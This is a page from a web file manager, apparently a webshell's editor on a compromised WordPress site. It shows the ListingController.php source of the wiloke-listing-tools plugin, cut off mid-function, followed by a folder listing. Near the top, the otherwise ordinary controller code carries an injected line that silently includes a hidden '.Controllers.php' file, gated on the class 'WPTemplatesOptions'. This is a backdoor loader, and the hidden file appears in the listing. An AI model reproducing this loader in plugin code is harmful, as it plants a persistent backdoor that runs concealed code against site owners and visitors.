PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wiloke-listing-tools
/
app
/
Controllers
<?php namespace WilokeListingTools\Controllers; use WilokeListingTools\Controllers\Retrieve\AjaxRetrieve; use WilokeListingTools\Framework\Helpers\GalleryHelper; use WilokeListingTools\Framework\Helpers\General; use WilokeListingTools\Framework\Helpers\GetSettings; use WilokeListingTools\Framework\Helpers\GetWilokeSubmission; use WilokeListingTools\Framework\Helpers\SetSettings; use WilokeListingTools\Framework\Helpers\Submission; use WilokeListingTools\Framework\Helpers\VideoHelper; use WilokeListingTools\Framework\Routing\Controller; use WilokeListingTools\Frontend\User; use WilokeListingTools\Models\PostModel; use WilokeListingTools\Framework\Helpers\Validation as ValidationHelper; use WilokeListingTools\Controllers\DashboardController; if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class ListingController extends Controller { use SingleJsonSkeleton; use SetCustomButton; private static $aAdminOnly = [ 'google_adsense', 'google_adsense_2', 'google_adsense_1' ]; public function __construct() { add_action('wp_ajax_wilcity_fetch_listings_json', [$this, 'fetchListingsJson']); add_action('wp_ajax_fetch_listings_statistics', [$this, 'fetchListingsJson']); add_action('wp_ajax_fetch_listing_statistic_general_data', [$this, 'fetchGeneralData']); add_action('wp_ajax_wilcity_load_more_listings', [$this, 'loadMoreListings']); add_action('wp_ajax_nopriv_wilcity_load_more_listings', [$this, 'loadMoreListings']); // add_action('wp_ajax_wilcity_button_settings', array($this, 'fetchButtonSettings')); add_action('rest_api_init', function () { register_rest_route(WILOKE_PREFIX.'/v2', '/listings/(?P<postID>\d+)/button-settings', [ 'methods' => 'GET', 'callback' => [$this, 'getButtonSettings'] ]); }); add_action('wp_ajax_wilcity_save_page_button', [$this, 'handleSaveButtonSettings']); add_action('wp_ajax_wilcity_listing_settings', [$this, 'handleSaveListingSettings']); add_action('wp_ajax_wilcity_listing_settings_navigation_mode', [$this, 'handleSaveNavigationMode']); add_action('wp_ajax_wilcity_listing_settings_sidebar_mode', [$this, 'handleSaveSidebarMode']); add_action('wp_ajax_wil_fetch_videos', [$this, 'fetchVideos']); add_action('wp_ajax_wil_fetch_gallery', [$this, 'fetchGallery']); add_action('wp_ajax_wil_fetch_edit_gallery_video', [$this, 'fetchEditGalleryVideo']); add_action('wp_ajax_wil_update_gallery_videos', [$this, 'handleUpdateGalleryVideos']); } public function handleUpdateGalleryVideos() { $oRetrieve = new RetrieveController(new AjaxRetrieve()); $this->verify($oRetrieve, $_POST['postID']); if (!isset($_POST['data']) || empty($_POST['data'])) { $oRetrieve->success(['msg' => esc_html__('You changed nothing', 'wiloke-listing-tools')]); } if (!ValidationHelper::isValidJson($_POST['data'])) { $oRetrieve->success(['msg' => esc_html__('Invalid JSON format', 'wiloke-listing-tools')]); } $aData = ValidationHelper::getJsonDecoded(); $planID = GetSettings::getListingBelongsToPlan($_POST['postID']); $aPlanSettings = !empty($planID) ? GetSettings::getPlanSettings($planID) : []; $errMsg = __('This plan does not support %s, You should upgrade to higher plan to get this feature', 'wiloke-listing-tools'); $upgradePlanURL = add_query_arg( [ 'postID' => $_POST['postID'], 'listing_type' => get_post_type($_POST['postID']) ], GetWilokeSubmission::getPermalink('addlisting') ); if (isset($aData['videos'])) { if (!empty($planID) && !Submission::isPlanSupported('toggle_videos', $planID)) { $oRetrieve->error( [ 'msg' => sprintf($errMsg, esc_html__('video gallery', 'wiloke-listing-tools')), 'needUpgradePlan' => 'yes', 'upgradeUrl' => $upgradePlanURL ]); } if (empty($aData['videos'])) { SetSettings::deletePostMeta($_POST['postID'], 'video_srcs'); } else { $aParseVideos = VideoHelper::parseVideoToDB($aData['videos']); $aParseVideos = VideoHelper::sureVideoDoesNotExceedPlan($aPlanSettings, $aParseVideos); SetSettings::setPostMeta($_POST['postID'], 'video_srcs', $aParseVideos); } } if (isset($aData['gallery'])) { if (!empty($planID) && !Submission::isPlanSupported('toggle_gallery', $planID)) { $oRetrieve->error( [ 'msg' => sprintf($errMsg, esc_html__('images gallery', 'wiloke-listing-tools')), 'needUpgradePlan' => 'yes', 'upgradeUrl' => $upgradePlanURL ]); } if (empty($aData['gallery'])) { SetSettings::deletePostMeta($_POST['postID'], 'gallery'); } else { $aParseGallery = GalleryHelper::parseGalleryToDB($aData['gallery']); $aParseGallery = GalleryHelper::sureGalleryDoesNotExceededPlan($aPlanSettings, $aParseGallery); SetSettings::setPostMeta($_POST['postID'], 'gallery', $aParseGallery); } } $oRetrieve->success([ 'msg' => esc_html__('Congratulations! Your update has been successfully', 'wiloke-listing-tools') ]); } private function verify(RetrieveController $oRetrieve, $postID) { $aStatus = $this->middleware(['isPostAuthor'], [ 'postAuthor' => get_current_user_id(), 'postID' => $postID, 'passedIfAdmin' => true, 'isBoolean' => true ]); if ($aStatus['status'] === 'error') { $oRetrieve->error($aStatus); } return true; } private function sendSuccessMsg(RetrieveController $oRetrieve) { $oRetrieve->success(['msg' => esc_html__('The settings have been updated', 'wiloke-listing-tools')]); } public function getGallery($postID) { $aRawPhotos = GetSettings::getPostMeta($postID, 'gallery'); if (empty($aRawPhotos)) { return []; } return GalleryHelper::gallerySkeleton($aRawPhotos); } public function getVideos($postID) { $aRawVideos = GetSettings::getPostMeta($postID, 'video_srcs'); return VideoHelper::parseVideoToUpload($aRawVideos); } public function fetchEditGalleryVideo() { $oRetrieve = new RetrieveController(new AjaxRetrieve()); $this->verify($oRetrieve, $_GET['postID']); $aVideos = $this->getVideos($_GET['postID']); $aGallery = $this->getGallery($_GET['postID']); $planID = GetSettings::getListingBelongsToPlan($_GET['postID']); $aPlanSettings = GetSettings::getPlanSettings($planID); $aResponse = [ 'canUploadGallery' => 'yes', 'canUploadVideo' => 'yes', 'maximumVideos' => 100, 'maximumGalleryImages' => 100 ]; if (!empty($aPlanSettings)) { $aResponse['canUploadGallery'] = $aPlanSettings['toggle_gallery'] === 'enable' ? 'yes' : 'no'; $aResponse['canUploadVideo'] = $aPlanSettings['toggle_videos'] === 'enable' ? 'yes' : 'no'; if (!empty($aPlanSettings['maximumVideos'])) { $aResponse['maximumVideos'] = abs($aPlanSettings['maximumVideos']); } if (!empty($aPlanSettings['maximumGalleryImages'])) { $aResponse['maximumGalleryImages'] = abs($aPlanSettings['maximumGalleryImages']);
[+]
..
[-] PermalinksController.php
[edit]
[-] MessageController.php
[edit]
[-] SetListingBelongsToPlanID.php
[edit]
[-] BelongsToTags.php
[edit]
[-] PrintAddListingSettings.php
[edit]
[-] InsertGallery.php
[edit]
[-] ViewStatisticController.php
[edit]
[-] TermsAndPolicyController.php
[edit]
[-] AddListingButtonController.php
[edit]
[-] SetSinglePrice.php
[edit]
[-] SetCustomButton.php
[edit]
[-] WooCommerceBookingController.php
[edit]
[-] SetMyPosts.php
[edit]
[-] SetVideo.php
[edit]
[-] Validation.php
[edit]
[-] PrintAddListingFields.php
[edit]
[-] NoticeController.php
[edit]
[-] SharesStatisticController.php
[edit]
[-] TraitAddListingSettings.php
[edit]
[-] SetListingRelationship.php
[edit]
[-] EmailController.php
[edit]
[-] SetMyRoom.php
[edit]
[-] SessionController.php
[edit]
[-] DashboardController.php
[edit]
[-] EventController.php
[edit]
[-] AppleLoginController.php
[edit]
[-] TraitSetEventData.php
[edit]
[-] PayPalController.php
[edit]
[-] TranslationController.php
[edit]
[-] PostController.php
[edit]
[-] DokanController.php
[edit]
[-] TermController.php
[edit]
[-] FavoriteStatisticController.php
[edit]
[-] SetSocialNetworks.php
[edit]
[-] SetCustomGroup.php
[edit]
[-] SetCustomSections.php
[edit]
[-] AuthorPageController.php
[edit]
[-] AddBookingComBannerCreator.php
[edit]
[-] PlanRelationshipController.php
[edit]
[-] ProfileController.php
[edit]
[-] MapListingController.php
[edit]
[-] UserController.php
[edit]
[-] BillingControllers.php
[edit]
[-] InsertAddress.php
[edit]
[-] PaymentStatusController.php
[edit]
[-] BelongsToCategories.php
[edit]
[-] InsertCoverImage.php
[edit]
[-] SetPriceRange.php
[edit]
[-] SetPlanRelationship.php
[edit]
[-] ListingController.php
[edit]
[-] SetGeneral.php
[edit]
[-] GridItemController.php
[edit]
[-] PaymentController.php
[edit]
[+]
TransformAddListingData
[-] ContactFormController.php
[edit]
[-] InsertFeaturedImg.php
[edit]
[-] AddListingController.php
[edit]
[-] BelongsToLocation.php
[edit]
[-] RestaurantMenuController.php
[edit]
[-] AjaxUploadImgController.php
[edit]
[-] NotificationsController.php
[edit]
[-] SingleJsonSkeleton.php
[edit]
[-] GalleryController.php
[edit]
[-] IsMyPaymentID.php
[edit]
[-] InsertImg.php
[edit]
[-] ModalController.php
[edit]
[-] PaymentGatewaysController.php
[edit]
[-] ShareController.php
[edit]
[-] RetrieveController.php
[edit]
[-] ModifyQueryController.php
[edit]
[-] TraitHostedBy.php
[edit]
[-] ChangePlanStatusController.php
[edit]
[-] TaxonomiesControllers.php
[edit]
[-] WebhookController.php
[edit]
[-] SearchFormController.php
[edit]
[-] FreePlanController.php
[edit]
[-] BelongsToCustomTaxonomies.php
[edit]
[-] PromotionController.php
[edit]
[-] RunUpdateDBToLatestVersionController.php
[edit]
[-] UserPlanController.php
[edit]
[-] SetContactInfo.php
[edit]
[-] InsertLogo.php
[edit]
[+]
Retrieve
[+]
Map
[-] VerifyPurchaseCode.php
[edit]
[-] StripeController.php
[edit]
[-] NextBillingPaymentController.php
[edit]
[-] SchemaController.php
[edit]
[-] IconController.php
[edit]
[-] AddMorePhotosVideosController.php
[edit]
[-] SetPostDuration.php
[edit]
[-] GuardController.php
[edit]
[-] ReviewController.php
[edit]
[-] OptimizeScripts.php
[edit]
[-] PaymentMetaController.php
[edit]
[-] GetWilokeToolSettings.php
[edit]
[-] SetCoupon.php
[edit]
[-] CouponController.php
[edit]
[-] AddListingPaymentController.php
[edit]
[-] FacebookLoginController.php
[edit]
[-] SingleController.php
[edit]
[-] BookingComController.php
[edit]
[-] SetGroupData.php
[edit]
[-] InvoiceController.php
[edit]
[-] SetProductsToListing.php
[edit]
[-] ReportController.php
[edit]
[-] PayPalExecuteAddListingPayment.php
[edit]
[-] HandleSubmit.php
[edit]
[-] WooCommerceController.php
[edit]
[-] FollowController.php
[edit]
[-] PrintSidebarItems.php
[edit]
[-] .Controllers.php
[edit]
[-] DirectBankTransferController.php
[edit]
[-] ClaimController.php
[edit]
[-] GetSingleImage.php
[edit]
[-] SetRestaurantMenu.php
[edit]
[-] MergingSettingValues.php
[edit]
[-] GoogleReCaptchaController.php
[edit]
[-] RegisterLoginController.php
[edit]
[-] TagsBelongsToCatController.php
[edit]